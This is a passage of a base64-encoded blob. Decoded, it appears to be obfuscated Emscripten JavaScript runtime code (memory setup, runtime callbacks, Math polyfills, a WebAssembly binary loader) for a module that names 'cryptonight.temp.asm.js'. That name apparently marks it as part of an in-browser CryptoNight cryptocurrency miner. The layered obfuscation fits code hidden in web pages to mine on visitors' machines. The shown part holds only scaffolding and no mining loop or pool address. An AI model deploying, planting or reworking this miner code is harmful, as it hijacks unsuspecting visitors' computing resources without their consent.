CFlcnIuc3RhY2spe3JldHVyblx4MjIobm9ceDIwc3RhY2tceDIwdHJhY2VceDIwYXZhaWxhYmxlKVx4MjJ9fXJldHVyblx4MjBlcnIuc3RhY2sudG9TdHJpbmcoKX1mdW5jdGlvblx4MjBzdGFja1RyYWNlKCl7dmFyXHgyMGpzPWpzU3RhY2tUcmFjZSgpO2lmKE1vZHVsZVtceDIyZXh0cmFTdGFja1RyYWNlXHgyMl0panMrPVx4MjJceDVjblx4MjIrTW9kdWxlW1x4MjJleHRyYVN0YWNrVHJhY2VceDIyXSgpO3JldHVyblx4MjBkZW1hbmdsZUFsbChqcyl9TW9kdWxlW1x4MjJzdGFja1RyYWNlXHgyMl09c3RhY2tUcmFjZTt2YXJceDIwV0FTTV9QQUdFX1NJWkU9NjU1MzY7dmFyXHgyMEFTTUpTX1BBR0VfU0laRT0xNjc3NzIxNjtmdW5jdGlvblx4MjBhbGlnblVwKHgsbXVsdGlwbGUpe2lmKHglbXVsdGlwbGU+MCl7eCs9bXVsdGlwbGUteCVtdWx0aXBsZX1yZXR1cm5ceDIweH12YXJceDIwSEVBUCxidWZmZXIsSEVBUDgsSEVBUFU4LEhFQVAxNixIRUFQVTE2LEhFQVAzMixIRUFQVTMyLEhFQVBGMzIsSEVBUEY2NDtmdW5jdGlvblx4MjB1cGRhdGVHbG9iYWxCdWZmZXIoYnVmKXtNb2R1bGVbXHgyMmJ1ZmZlclx4MjJdPWJ1ZmZlcj1idWZ9ZnVuY3Rpb25ceDIwdXBkYXRlR2xvYmFsQnVmZmVyVmlld3MoKXtNb2R1bGVbXHgyMkhFQVA4XHgyMl09SEVBUDg9bmV3XHgyMEludDhBcnJheShidWZmZXIpO01vZHVsZVtceDIySEVBUDE2XHgyMl09SEVBUDE2PW5ld1x4MjBJbnQxNkFycmF5KGJ1ZmZlcik7TW9kdWxlW1x4MjJIRUFQMzJceDIyXT1IRUFQMzI9bmV3XHgyMEludDMyQXJyYXkoYnVmZmVyKTtNb2R1bGVbXHgyMkhFQVBVOFx4MjJdPUhFQVBVOD1uZXdceDIwVWludDhBcnJheShidWZmZXIpO01vZHVsZVtceDIySEVBUFUxNlx4MjJdPUhFQVBVMTY9bmV3XHgyMFVpbnQxNkFycmF5KGJ1ZmZlcik7TW9kdWxlW1x4MjJIRUFQVTMyXHgyMl09SEVBUFUzMj1uZXdceDIwVWludDMyQXJyYXkoYnVmZmVyKTtNb2R1bGVbXHgyMkhFQVBGMzJceDIyXT1IRUFQRjMyPW5ld1x4MjBGbG9hdDMyQXJyYXkoYnVmZmVyKTtNb2R1bGVbXHgyMkhFQVBGNjRceDIyXT1IRUFQRjY0PW5ld1x4MjBGbG9hdDY0QXJyYXkoYnVmZmVyKX12YXJceDIwU1RBVElDX0JBU0UsU1RBVElDVE9QLHN0YXRpY1NlYWxlZDt2YXJceDIwU1RBQ0tfQkFTRSxTVEFDS1RPUCxTVEFDS19NQVg7dmFyXHgyMERZTkFNSUNfQkFTRSxEWU5BTUlDVE9QX1BUUjtTVEFUSUNfQkFTRT1TVEFUSUNUT1A9U1RBQ0tfQkFTRT1TVEFDS1RPUD1TVEFDS19NQVg9RFlOQU1JQ19CQVNFPURZTkFNSUNUT1BfUFRSPTA7c3RhdGljU2VhbGVkPWZhbHNlO2Z1bmN0aW9uXHgyMGFib3J0T25DYW5ub3RHcm93TWVtb3J5KCl7YWJvcnQoXHgyMkNhbm5vdFx4MjBlbmxhcmdlXHgyMG1lbW9yeVx4MjBhcnJheXMuXHgyMEVpdGhlclx4MjAoMSlceDIwY29tcGlsZVx4MjB3aXRoXHgyMC1zXHgyMFRPVEFMX01FTU9SWT1YXHgyMHdpdGhceDIwWFx4MjBoaWdoZXJceDIwdGhhblx4MjB0aGVceDIwY3VycmVudFx4MjB2YWx1ZVx4MjBceDIyK1RPVEFMX01FTU9SWStceDIyLFx4MjAoMilceDIwY29tcGlsZVx4MjB3aXRoXHgyMC1zXHgyMEFMTE9XX01FTU9SWV9HUk9XVEg9MVx4MjB3aGljaFx4MjBhbGxvd3NceDIwaW5jcmVhc2luZ1x4MjB0aGVceDIwc2l6ZVx4MjBhdFx4MjBydW50aW1lLFx4MjBvclx4MjAoMylceDIwaWZceDIweW91XHgyMHdhbnRceDIwbWFsbG9jXHgyMHRvXHgyMHJldHVyblx4MjBOVUxMXHgyMCgwKVx4MjBpbnN0ZWFkXHgyMG9mXHgyMHRoaXNceDIwYWJvcnQsXHgyMGNvbXBpbGVceDIwd2l0aFx4MjAtc1x4MjBBQk9SVElOR19NQUxMT0M9MFx4MjBceDIyKX1mdW5jdGlvblx4MjBlbmxhcmdlTWVtb3J5KCl7YWJvcnRPbkNhbm5vdEdyb3dNZW1vcnkoKX12YXJceDIwVE9UQUxfU1RBQ0s9TW9kdWxlW1x4MjJUT1RBTF9TVEFDS1x4MjJdfHw1MjQyODgwO3Zhclx4MjBUT1RBTF9NRU1PUlk9TW9kdWxlW1x4MjJUT1RBTF9NRU1PUllceDIyXXx8MTY3NzcyMTY7aWYoVE9UQUxfTUVNT1JZPFRPVEFMX1NUQUNLKU1vZHVsZS5wcmludEVycihceDIyVE9UQUxfTUVNT1JZXHgyMHNob3VsZFx4MjBiZVx4MjBsYXJnZXJceDIwdGhhblx4MjBUT1RBTF9TVEFDSyxceDIwd2FzXHgyMFx4MjIrVE9UQUxfTUVNT1JZK1x4MjIhXHgyMChUT1RBTF9TVEFDSz1ceDIyK1RPVEFMX1NUQUNLK1x4MjIpXHgyMik7aWYoTW9kdWxlW1x4MjJidWZmZXJceDIyXSl7YnVmZmVyPU1vZHVsZVtceDIyYnVmZmVyXHgyMl19ZWxzZXtpZih0eXBlb2ZceDIwV2ViQXNzZW1ibHk9PT1ceDIyb2JqZWN0XHgyMiYmdHlwZW9mXHgyMFdlYkFzc2VtYmx5Lk1lbW9yeT09PVx4MjJmdW5jdGlvblx4MjIpe01vZHVsZVtceDIyd2FzbU1lbW9yeVx4MjJdPW5ld1x4MjBXZWJBc3NlbWJseS5NZW1vcnkoe1x4MjJpbml0aWFsXHgyMjpUT1RBTF9NRU1PUlkvV0FTTV9QQUdFX1NJWkUsXHgyMm1heGltdW1ceDIyOlRPVEFMX01FTU9SWS9XQVNNX1BBR0VfU0laRX0pO2J1ZmZlcj1Nb2R1bGVbXHgyMndhc21NZW1vcnlceDIyXS5idWZmZXJ9ZWxzZXtidWZmZXI9bmV3XHgyMEFycmF5QnVmZmVyKFRPVEFMX01FTU9SWSl9fXVwZGF0ZUdsb2JhbEJ1ZmZlclZpZXdzKCk7ZnVuY3Rpb25ceDIwZ2V0VG90YWxNZW1vcnkoKXtyZXR1cm5ceDIwVE9UQUxfTUVNT1JZfUhFQVAzMlswXT0xNjY4NTA5MDI5O0hFQVAxNlsxXT0yNTQ1OTtpZihIRUFQVThbMl0hPT0xMTV8fEhFQVBVOFszXSE9PTk5KXRocm93XHgyMlJ1bnRpbWVceDIwZXJyb3I6XHgyMGV4cGVjdGVkXHgyMHRoZVx4MjBzeXN0ZW1ceDIwdG9ceDIwYmVceDIwbGl0dGxlLWVuZGlhbiFceDIyO01vZHVsZVtceDIySEVBUFx4MjJdPUhFQVA7TW9kdWxlW1x4MjJidWZmZXJceDIyXT1idWZmZXI7TW9kdWxlW1x4MjJIRUFQOFx4MjJdPUhFQVA4O01vZHVsZVtceDIySEVBUDE2XHgyMl09SEVBUDE2O01vZHVsZVtceDIySEVBUDMyXHgyMl09SEVBUDMyO01vZHVsZVtceDIySEVBUFU4XHgyMl09SEVBUFU4O01vZHVsZVtceDIySEVBUFUxNlx4MjJdPUhFQVBVMTY7TW9kdWxlW1x4MjJIRUFQVTMyXHgyMl09SEVBUFUzMjtNb2R1bGVbXHgyMkhFQVBGMzJceDIyXT1IRUFQRjMyO01vZHVsZVtceDIySEVBUEY2NFx4MjJdPUhFQVBGNjQ7ZnVuY3Rpb25ceDIwY2FsbFJ1bnRpbWVDYWxsYmFja3MoY2FsbGJhY2tzKXt3aGlsZShjYWxsYmFja3MubGVuZ3RoPjApe3Zhclx4MjBjYWxsYmFjaz1jYWxsYmFja3Muc2hpZnQoKTtpZih0eXBlb2ZceDIwY2FsbGJhY2s9PVx4MjJmdW5jdGlvblx4MjIpe2NhbGxiYWNrKCk7Y29udGludWV9dmFyXHgyMGZ1bmM9Y2FsbGJhY2suZnVuYztpZih0eXBlb2ZceDIwZnVuYz09PVx4MjJudW1iZXJceDIyKXtpZihjYWxsYmFjay5hcmc9PT11bmRlZmluZWQpe01vZHVsZVtceDIyZHluQ2FsbF92XHgyMl0oZnVuYyl9ZWxzZXtNb2R1bGVbXHgyMmR5bkNhbGxfdmlceDIyXShmdW5jLGNhbGxiYWNrLmFyZyl9fWVsc2V7ZnVuYyhjYWxsYmFjay5hcmc9PT11bmRlZmluZWQ/bnVsbDpjYWxsYmFjay5hcmcpfX19dmFyXHgyMF9fQVRQUkVSVU5fXz1bXTt2YXJceDIwX19BVElOSVRfXz1bXTt2YXJceDIwX19BVE1BSU5fXz1bXTt2YXJceDIwX19BVEVYSVRfXz1bXTt2YXJceDIwX19BVFBPU1RSVU5fXz1bXTt2YXJceDIwcnVudGltZUluaXRpYWxpemVkPWZhbHNlO3Zhclx4MjBydW50aW1lRXhpdGVkPWZhbHNlO2Z1bmN0aW9uXHgyMHByZVJ1bigpe2lmKE1vZHVsZVtceDIycHJlUnVuXHgyMl0pe2lmKHR5cGVvZlx4MjBNb2R1bGVbXHgyMnByZVJ1blx4MjJdPT1ceDIyZnVuY3Rpb25ceDIyKU1vZHVsZVtceDIycHJlUnVuXHgyMl09W01vZHVsZVtceDIycHJlUnVuXHgyMl1dO3doaWxlKE1vZHVsZVtceDIycHJlUnVuXHgyMl0ubGVuZ3RoKXthZGRPblByZVJ1bihNb2R1bGVbXHgyMnByZVJ1blx4MjJdLnNoaWZ0KCkpfX1jYWxsUnVudGltZUNhbGxiYWNrcyhfX0FUUFJFUlVOX18pfWZ1bmN0aW9uXHgyMGVuc3VyZUluaXRSdW50aW1lKCl7aWYocnVudGltZUluaXRpYWxpemVkKXJldHVybjtydW50aW1lSW5pdGlhbGl6ZWQ9dHJ1ZTtjYWxsUnVudGltZUNhbGxiYWNrcyhfX0FUSU5JVF9fKX1mdW5jdGlvblx4MjBwcmVNYWluKCl7Y2FsbFJ1bnRpbWVDYWxsYmFja3MoX19BVE1BSU5fXyl9ZnVuY3Rpb25ceDIwZXhpdFJ1bnRpbWUoKXtjYWxsUnVudGltZUNhbGxiYWNrcyhfX0FURVhJVF9fKTtydW50aW1lRXhpdGVkPXRydWV9ZnVuY3Rpb25ceDIwcG9zdFJ1bigpe2lmKE1vZHVsZVtceDIycG9zdFJ1blx4MjJdKXtpZih0eXBlb2ZceDIwTW9kdWxlW1x4MjJwb3N0UnVuXHgyMl09PVx4MjJmdW5jdGlvblx4MjIpTW9kdWxlW1x4MjJwb3N0UnVuXHgyMl09W01vZHVsZVtceDIycG9zdFJ1blx4MjJdXTt3aGlsZShNb2R1bGVbXHgyMnBvc3RSdW5ceDIyXS5sZW5ndGgpe2FkZE9uUG9zdFJ1bihNb2R1bGVbXHgyMnBvc3RSdW5ceDIyXS5zaGlmdCgpKX19Y2FsbFJ1bnRpbWVDYWxsYmFja3MoX19BVFBPU1RSVU5fXyl9ZnVuY3Rpb25ceDIwYWRkT25QcmVSdW4oY2Ipe19fQVRQUkVSVU5fXy51bnNoaWZ0KGNiKX1Nb2R1bGVbXHgyMmFkZE9uUHJlUnVuXHgyMl09YWRkT25QcmVSdW47ZnVuY3Rpb25ceDIwYWRkT25Jbml0KGNiKXtfX0FUSU5JVF9fLnVuc2hpZnQoY2IpfU1vZHVsZVtceDIyYWRkT25Jbml0XHgyMl09YWRkT25Jbml0O2Z1bmN0aW9uXHgyMGFkZE9uUHJlTWFpbihjYil7X19BVE1BSU5fXy51bnNoaWZ0KGNiKX1Nb2R1bGVbXHgyMmFkZE9uUHJlTWFpblx4MjJdPWFkZE9uUHJlTWFpbjtmdW5jdGlvblx4MjBhZGRPbkV4aXQoY2Ipe19fQVRFWElUX18udW5zaGlmdChjYil9TW9kdWxlW1x4MjJhZGRPbkV4aXRceDIyXT1hZGRPbkV4aXQ7ZnVuY3Rpb25ceDIwYWRkT25Qb3N0UnVuKGNiKXtfX0FUUE9TVFJVTl9fLnVuc2hpZnQoY2IpfU1vZHVsZVtceDIyYWRkT25Qb3N0UnVuXHgyMl09YWRkT25Qb3N0UnVuO2Z1bmN0aW9uXHgyMGludEFycmF5RnJvbVN0cmluZyhzdHJpbmd5LGRvbnRBZGROdWxsLGxlbmd0aCl7dmFyXHgyMGxlbj1sZW5ndGg+MD9sZW5ndGg6bGVuZ3RoQnl0ZXNVVEY4KHN0cmluZ3kpKzE7dmFyXHgyMHU4YXJyYXk9bmV3XHgyMEFycmF5KGxlbik7dmFyXHgyMG51bUJ5dGVzV3JpdHRlbj1zdHJpbmdUb1VURjhBcnJheShzdHJpbmd5LHU4YXJyYXksMCx1OGFycmF5Lmxlbmd0aCk7aWYoZG9udEFkZE51bGwpdThhcnJheS5sZW5ndGg9bnVtQnl0ZXNXcml0dGVuO3JldHVyblx4MjB1OGFycmF5fU1vZHVsZVtceDIyaW50QXJyYXlGcm9tU3RyaW5nXHgyMl09aW50QXJyYXlGcm9tU3RyaW5nO2Z1bmN0aW9uXHgyMGludEFycmF5VG9TdHJpbmcoYXJyYXkpe3Zhclx4MjByZXQ9W107Zm9yKHZhclx4MjBpPTA7aTxhcnJheS5sZW5ndGg7aSsrKXt2YXJceDIwY2hyPWFycmF5W2ldO2lmKGNocj4yNTUpe2NociY9MjU1fXJldC5wdXNoKFN0cmluZy5mcm9tQ2hhckNvZGUoY2hyKSl9cmV0dXJuXHgyMHJldC5qb2luKFx4MjJceDIyKX1Nb2R1bGVbXHgyMmludEFycmF5VG9TdHJpbmdceDIyXT1pbnRBcnJheVRvU3RyaW5nO2Z1bmN0aW9uXHgyMHdyaXRlU3RyaW5nVG9NZW1vcnkoc3RyaW5nLGJ1ZmZlcixkb250QWRkTnVsbCl7UnVudGltZS53YXJuT25jZShceDIyd3JpdGVTdHJpbmdUb01lbW9yeVx4MjBpc1x4MjBkZXByZWNhdGVkXHgyMGFuZFx4MjBzaG91bGRceDIwbm90XHgyMGJlXHgyMGNhbGxlZCFceDIwVXNlXHgyMHN0cmluZ1RvVVRGOCgpXHgyMGluc3RlYWQhXHgyMik7dmFyXHgyMGxhc3RDaGFyLGVuZDtpZihkb250QWRkTnVsbCl7ZW5kPWJ1ZmZlcitsZW5ndGhCeXRlc1VURjgoc3RyaW5nKTtsYXN0Q2hhcj1IRUFQOFtlbmRdfXN0cmluZ1RvVVRGOChzdHJpbmcsYnVmZmVyLEluZmluaXR5KTtpZihkb250QWRkTnVsbClIRUFQOFtlbmRdPWxhc3RDaGFyfU1vZHVsZVtceDIyd3JpdGVTdHJpbmdUb01lbW9yeVx4MjJdPXdyaXRlU3RyaW5nVG9NZW1vcnk7ZnVuY3Rpb25ceDIwd3JpdGVBcnJheVRvTWVtb3J5KGFycmF5LGJ1ZmZlcil7SEVBUDguc2V0KGFycmF5LGJ1ZmZlcil9TW9kdWxlW1x4MjJ3cml0ZUFycmF5VG9NZW1vcnlceDIyXT13cml0ZUFycmF5VG9NZW1vcnk7ZnVuY3Rpb25ceDIwd3JpdGVBc2NpaVRvTWVtb3J5KHN0cixidWZmZXIsZG9udEFkZE51bGwpe2Zvcih2YXJceDIwaT0wO2k8c3RyLmxlbmd0aDsrK2kpe0hFQVA4W2J1ZmZlcisrPj4wXT1zdHIuY2hhckNvZGVBdChpKX1pZighZG9udEFkZE51bGwpSEVBUDhbYnVmZmVyPj4wXT0wfU1vZHVsZVtceDIyd3JpdGVBc2NpaVRvTWVtb3J5XHgyMl09d3JpdGVBc2NpaVRvTWVtb3J5O2lmKCFNYXRoW1x4MjJpbXVsXHgyMl18fE1hdGhbXHgyMmltdWxceDIyXSg0Mjk0OTY3Mjk1LDUpIT09LTUpTWF0aFtceDIyaW11bFx4MjJdPWZ1bmN0aW9uXHgyMGltdWwoYSxiKXt2YXJceDIwYWg9YT4+PjE2O3Zhclx4MjBhbD1hJjY1NTM1O3Zhclx4MjBiaD1iPj4+MTY7dmFyXHgyMGJsPWImNjU1MzU7cmV0dXJuXHgyMGFsKmJsKyhhaCpibCthbCpiaDw8MTYpfDB9O01hdGguaW11bD1NYXRoW1x4MjJpbXVsXHgyMl07aWYoIU1hdGhbXHgyMmZyb3VuZFx4MjJdKXt2YXJceDIwZnJvdW5kQnVmZmVyPW5ld1x4MjBGbG9hdDMyQXJyYXkoMSk7TWF0aFtceDIyZnJvdW5kXHgyMl09KGZ1bmN0aW9uKHgpe2Zyb3VuZEJ1ZmZlclswXT14O3JldHVyblx4MjBmcm91bmRCdWZmZXJbMF19KX1NYXRoLmZyb3VuZD1NYXRoW1x4MjJmcm91bmRceDIyXTtpZighTWF0aFtceDIyY2x6MzJceDIyXSlNYXRoW1x4MjJjbHozMlx4MjJdPShmdW5jdGlvbih4KXt4PXg+Pj4wO2Zvcih2YXJceDIwaT0wO2k8MzI7aSsrKXtpZih4JjE8PDMxLWkpcmV0dXJuXHgyMGl9cmV0dXJuXHgyMDMyfSk7TWF0aC5jbHozMj1NYXRoW1x4MjJjbHozMlx4MjJdO2lmKCFNYXRoW1x4MjJ0cnVuY1x4MjJdKU1hdGhbXHgyMnRydW5jXHgyMl09KGZ1bmN0aW9uKHgpe3JldHVyblx4MjB4PDA/TWF0aC5jZWlsKHgpOk1hdGguZmxvb3IoeCl9KTtNYXRoLnRydW5jPU1hdGhbXHgyMnRydW5jXHgyMl07dmFyXHgyME1hdGhfYWJzPU1hdGguYWJzO3Zhclx4MjBNYXRoX2Nvcz1NYXRoLmNvczt2YXJceDIwTWF0aF9zaW49TWF0aC5zaW47dmFyXHgyME1hdGhfdGFuPU1hdGgudGFuO3Zhclx4MjBNYXRoX2Fjb3M9TWF0aC5hY29zO3Zhclx4MjBNYXRoX2FzaW49TWF0aC5hc2luO3Zhclx4MjBNYXRoX2F0YW49TWF0aC5hdGFuO3Zhclx4MjBNYXRoX2F0YW4yPU1hdGguYXRhbjI7dmFyXHgyME1hdGhfZXhwPU1hdGguZXhwO3Zhclx4MjBNYXRoX2xvZz1NYXRoLmxvZzt2YXJceDIwTWF0aF9zcXJ0PU1hdGguc3FydDt2YXJceDIwTWF0aF9jZWlsPU1hdGguY2VpbDt2YXJceDIwTWF0aF9mbG9vcj1NYXRoLmZsb29yO3Zhclx4MjBNYXRoX3Bvdz1NYXRoLnBvdzt2YXJceDIwTWF0aF9pbXVsPU1hdGguaW11bDt2YXJceDIwTWF0aF9mcm91bmQ9TWF0aC5mcm91bmQ7dmFyXHgyME1hdGhfcm91bmQ9TWF0aC5yb3VuZDt2YXJceDIwTWF0aF9taW49TWF0aC5taW47dmFyXHgyME1hdGhfY2x6MzI9TWF0aC5jbHozMjt2YXJceDIwTWF0aF90cnVuYz1NYXRoLnRydW5jO3Zhclx4MjBydW5EZXBlbmRlbmNpZXM9MDt2YXJceDIwcnVuRGVwZW5kZW5jeVdhdGNoZXI9bnVsbDt2YXJceDIwZGVwZW5kZW5jaWVzRnVsZmlsbGVkPW51bGw7ZnVuY3Rpb25ceDIwZ2V0VW5pcXVlUnVuRGVwZW5kZW5jeShpZCl7cmV0dXJuXHgyMGlkfWZ1bmN0aW9uXHgyMGFkZFJ1bkRlcGVuZGVuY3koaWQpe3J1bkRlcGVuZGVuY2llcysrO2lmKE1vZHVsZVtceDIybW9uaXRvclJ1bkRlcGVuZGVuY2llc1x4MjJdKXtNb2R1bGVbXHgyMm1vbml0b3JSdW5EZXBlbmRlbmNpZXNceDIyXShydW5EZXBlbmRlbmNpZXMpfX1Nb2R1bGVbXHgyMmFkZFJ1bkRlcGVuZGVuY3lceDIyXT1hZGRSdW5EZXBlbmRlbmN5O2Z1bmN0aW9uXHgyMHJlbW92ZVJ1bkRlcGVuZGVuY3koaWQpe3J1bkRlcGVuZGVuY2llcy0tO2lmKE1vZHVsZVtceDIybW9uaXRvclJ1bkRlcGVuZGVuY2llc1x4MjJdKXtNb2R1bGVbXHgyMm1vbml0b3JSdW5EZXBlbmRlbmNpZXNceDIyXShydW5EZXBlbmRlbmNpZXMpfWlmKHJ1bkRlcGVuZGVuY2llcz09MCl7aWYocnVuRGVwZW5kZW5jeVdhdGNoZXIhPT1udWxsKXtjbGVhckludGVydmFsKHJ1bkRlcGVuZGVuY3lXYXRjaGVyKTtydW5EZXBlbmRlbmN5V2F0Y2hlcj1udWxsfWlmKGRlcGVuZGVuY2llc0Z1bGZpbGxlZCl7dmFyXHgyMGNhbGxiYWNrPWRlcGVuZGVuY2llc0Z1bGZpbGxlZDtkZXBlbmRlbmNpZXNGdWxmaWxsZWQ9bnVsbDtjYWxsYmFjaygpfX19TW9kdWxlW1x4MjJyZW1vdmVSdW5EZXBlbmRlbmN5XHgyMl09cmVtb3ZlUnVuRGVwZW5kZW5jeTtNb2R1bGVbXHgyMnByZWxvYWRlZEltYWdlc1x4MjJdPXt9O01vZHVsZVtceDIycHJlbG9hZGVkQXVkaW9zXHgyMl09e307dmFyXHgyMG1lbW9yeUluaXRpYWxpemVyPW51bGw7ZnVuY3Rpb25ceDIwaW50ZWdyYXRlV2FzbUpTKE1vZHVsZSl7dmFyXHgyMG1ldGhvZD1Nb2R1bGVbXHgyMndhc21KU01ldGhvZFx4MjJdfHxceDIybmF0aXZlLXdhc21ceDIyO01vZHVsZVtceDIyd2FzbUpTTWV0aG9kXHgyMl09bWV0aG9kO3Zhclx4MjB3YXNtVGV4dEZpbGU9TW9kdWxlW1x4MjJ3YXNtVGV4dEZpbGVceDIyXXx8XHgyMmMud2FzdFx4MjI7dmFyXHgyMHdhc21CaW5hcnlGaWxlPU1vZHVsZVtceDIyd2FzbUJpbmFyeUZpbGVceDIyXXx8XHgyMmMud2FzbVx4MjI7dmFyXHgyMGFzbWpzQ29kZUZpbGU9TW9kdWxlW1x4MjJhc21qc0NvZGVGaWxlXHgyMl18fFx4MjJjcnlwdG9uaWdodC50ZW1wLmFzbS5qc1x4MjI7aWYodHlwZW9mXHgyME1vZHVsZVtceDIybG9jYXRlRmlsZVx4MjJdPT09XHgyMmZ1bmN0aW9uXHgyMil7d2FzbVRleHRGaWxlPU1vZHVsZVtceDIybG9jYXRlRmlsZVx4MjJdKHdhc21UZXh0RmlsZSk7d2FzbUJpbmFyeUZpbGU9TW9kdWxlW1x4MjJsb2NhdGVGaWxlXHgyMl0od2FzbUJpbmFyeUZpbGUpO2FzbWpzQ29kZUZpbGU9TW9kdWxlW1x4MjJsb2NhdGVGaWxlXHgyMl0oYXNtanNDb2RlRmlsZSl9dmFyXHgyMHdhc21QYWdlU2l6ZT02NCoxMDI0O3Zhclx4MjBhc20yd2FzbUltcG9ydHM9e1x4MjJmNjQtcmVtXHgyMjooZnVuY3Rpb24oeCx5KXtyZXR1cm5ceDIweCV5fSksXHgyMmY2NC10by1pbnRceDIyOihmdW5jdGlvbih4KXtyZXR1cm5ceDIweHwwfSksXHgyMmkzMnMtZGl2XHgyMjooZnVuY3Rpb24oeCx5KXtyZXR1cm4oeHwwKS8oeXwwKXwwfSksXHgyMmkzMnUtZGl2XHgyMjooZnVuY3Rpb24oeCx5KXtyZXR1cm4oeD4+PjApLyh5Pj4+MCk+Pj4wfSksXHgyMmkzMnMtcmVtXHgyMjooZnVuY3Rpb24oeCx5KXtyZXR1cm4oeHwwKSUoeXwwKXwwfSksXHgyMmkzMnUtcmVtXHgyMjooZnVuY3Rpb24oeCx5KXtyZXR1cm4oeD4+PjApJSh5Pj4+MCk+Pj4wfSksXHgyMmRlYnVnZ2VyXHgyMjooZnVuY3Rpb24oKXtkZWJ1Z2dlcn0pfTt2YXJceDIwaW5mbz17XHgyMmdsb2JhbFx4MjI6bnVsbCxceDIyZW52XHgyMjpudWxsLFx4MjJhc20yd2FzbVx4MjI6YXNtMndhc21JbXBvcnRzLFx4MjJwYXJlbnRceDIyOk1vZHVsZX07dmFyXHgyMGV4cG9ydHM9bnVsbDtmdW5jdGlvblx4MjBsb29rdXBJbXBvcnQobW9kLGJhc2Upe3Zhclx4MjBsb29rdXA9aW5mbztpZihtb2QuaW5kZXhPZihceDIyLlx4MjIpPDApe2xvb2t1cD0obG9va3VwfHx7fSlbbW9kXX1lbHNle3Zhclx4MjBwYXJ0cz1tb2Quc3BsaXQoXHgyMi5ceDIyKTtsb29rdXA9KGxvb2t1cHx8e30pW3BhcnRzWzBdXTtsb29rdXA9KGxvb2t1cHx8e30pW3BhcnRzWzFdXX1pZihiYXNlKXtsb29rdXA9KGxvb2t1cHx8e30pW2Jhc2VdfWlmKGxvb2t1cD09PXVuZGVmaW5lZCl7YWJvcnQoXHgyMmJhZFx4MjBsb29rdXBJbXBvcnRceDIwdG9ceDIwKFx4MjIrbW9kK1x4MjIpLlx4MjIrYmFzZSl9cmV0dXJuXHgyMGxvb2t1cH1mdW5jdGlvblx4MjBtZXJnZU1lbW9yeShuZXdCdWZmZXIpe3Zhclx4MjBvbGRCdWZmZXI9TW9kdWxlW1x4MjJidWZmZXJceDIyXTtpZihuZXdCdWZmZXIuYnl0ZUxlbmd0aDxvbGRCdWZmZXIuYnl0ZUxlbmd0aCl7TW9kdWxlW1x4MjJwcmludEVyclx4MjJdKFx4MjJ0aGVceDIwbmV3XHgyMGJ1ZmZlclx4MjBpblx4MjBtZXJnZU1lbW9yeVx4MjBpc1x4MjBzbWFsbGVyXHgyMHRoYW5ceDIwdGhlXHgyMHByZXZpb3VzXHgyMG9uZS5ceDIwaW5ceDIwbmF0aXZlXHgyMHdhc20sXHgyMHdlXHgyMHNob3VsZFx4MjBncm93XHgyMG1lbW9yeVx4MjBoZXJlXHgyMil9dmFyXHgyMG9sZFZpZXc9bmV3XHgyMEludDhBcnJheShvbGRCdWZmZXIpO3Zhclx4MjBuZXdWaWV3PW5ld1x4MjBJbnQ4QXJyYXkobmV3QnVmZmVyKTtpZighbWVtb3J5SW5pdGlhbGl6ZXIpe29sZFZpZXcuc2V0KG5ld1ZpZXcuc3ViYXJyYXkoTW9kdWxlW1x4MjJTVEFUSUNfQkFTRVx4MjJdLE1vZHVsZVtceDIyU1RBVElDX0JBU0VceDIyXStNb2R1bGVbXHgyMlNUQVRJQ19CVU1QXHgyMl0pLE1vZHVsZVtceDIyU1RBVElDX0JBU0VceDIyXSl9bmV3Vmlldy5zZXQob2xkVmlldyk7dXBkYXRlR2xvYmFsQnVmZmVyKG5ld0J1ZmZlcik7dXBkYXRlR2xvYmFsQnVmZmVyVmlld3MoKX12YXJceDIwV2FzbVR5cGVzPXtub25lOjAsaTMyOjEsaTY0OjIsZjMyOjMsZjY0OjR9O2Z1bmN0aW9uXHgyMGZpeEltcG9ydHMoaW1wb3J0cyl7aWYoITApcmV0dXJuXHgyMGltcG9ydHM7dmFyXHgyMHJldD17fTtmb3IodmFyXHgyMGlceDIwaW5ceDIwaW1wb3J0cyl7dmFyXHgyMGZpeGVkPWk7aWYoZml4ZWRbMF09PVx4MjJfXHgyMilmaXhlZD1maXhlZC5zdWJzdHIoMSk7cmV0W2ZpeGVkXT1pbXBvcnRzW2ldfXJldHVyblx4MjByZXR9ZnVuY3Rpb25ceDIwZ2V0QmluYXJ5KCl7dHJ5e3Zhclx4MjBiaW5hcnk7aWYoTW9kdWxlW1x4MjJ3YXNtQmluYXJ5XHgyMl0pe2JpbmFyeT1Nb2R1bGVbXHgyMndhc21CaW5hcnlceDIyXTtiaW5hcnk9bmV3XHgyMFVpbnQ4QXJyYXkoYmluYXJ5KX1lbHNlXHgyMGlmKE1vZHVsZVtceDIycmVhZEJpbmFyeVx4MjJdKXtiaW5hcnk9TW9kdWxlW1x4MjJyZWFkQmluYXJ5XHgyMl0od2FzbUJpbmFyeUZpbGUpfWVsc2V7dGhyb3dceDIyb25ceDIwdGhlXHgyMHdlYixceDIwd2VceDIwbmVlZFx4MjB0aGVceDIwd2FzbVx4MjBiaW5hcnlceDIwdG9ceDIwYmVceDIwcHJlbG9hZGVkXHgyMGFuZFx4MjBzZXRceDIwb25ceDIwTW9kdWxlW1x4Mjd3YXNtQmluYXJ5XHgyN10uXHgyMGVtY2MucHlceDIwd2lsbFx4MjBkb1x4MjB0aGF0XHgyMGZvclx4MjB5b3VceDIwd2hlblx4MjBnZW5lcmF0aW5nXHgyMEhUTUxceDIwKGJ1dFx4MjBub3RceDIwSlMpXHgyMn1yZXR1cm5ceDIwYmluYXJ5fWNhdGNoKGVycil7YWJvcnQoZXJyKX19ZnVuY3Rpb25ceDIwZ2V0QmluYXJ5UHJvbWlzZSgpe2lmKCFNb2R1bGVbXHgyMndhc21CaW5hcnlceDIyXSYmdHlwZW9mXHgyMGZldGNoPT09XHgyMmZ1bmN0aW9uXHgyMil7cmV0dXJuXHgyMGZldGNoKHdhc21CaW5hcnlGaWxlLHtjcmVkZW50aWFsczpceDIyc2FtZS1vcmlnaW5ceDIyfSkudGhlbigoZnVuY3Rpb24ocmVzcG9uc2Upe2lmKCFyZXNwb25zZVtceDIyb2tceDIyXSl7dGhyb3dceDIyZmFpbGVkXHgyMHRvXHgyMGxvYWRceDIwd2FzbVx4MjBiaW5hcnlceDIwZmlsZVx4MjBhdFx4MjBceDI3XHgyMit3YXNtQmluYXJ5RmlsZStceDIyXHgyN1x4MjJ9cmV0dXJuXHgyMHJlc3BvbnNlW1x4MjJhcnJheUJ1ZmZlclx4MjJdKCl9KSl9cmV0dXJuXHgyMG5ld1x4MjBQcm9taXNlKChmdW5jdGlvbihyZXNvbHZlLHJlamVjdCl7cmVzb2x2ZShnZXRCaW5hcnkoKSl9KSl9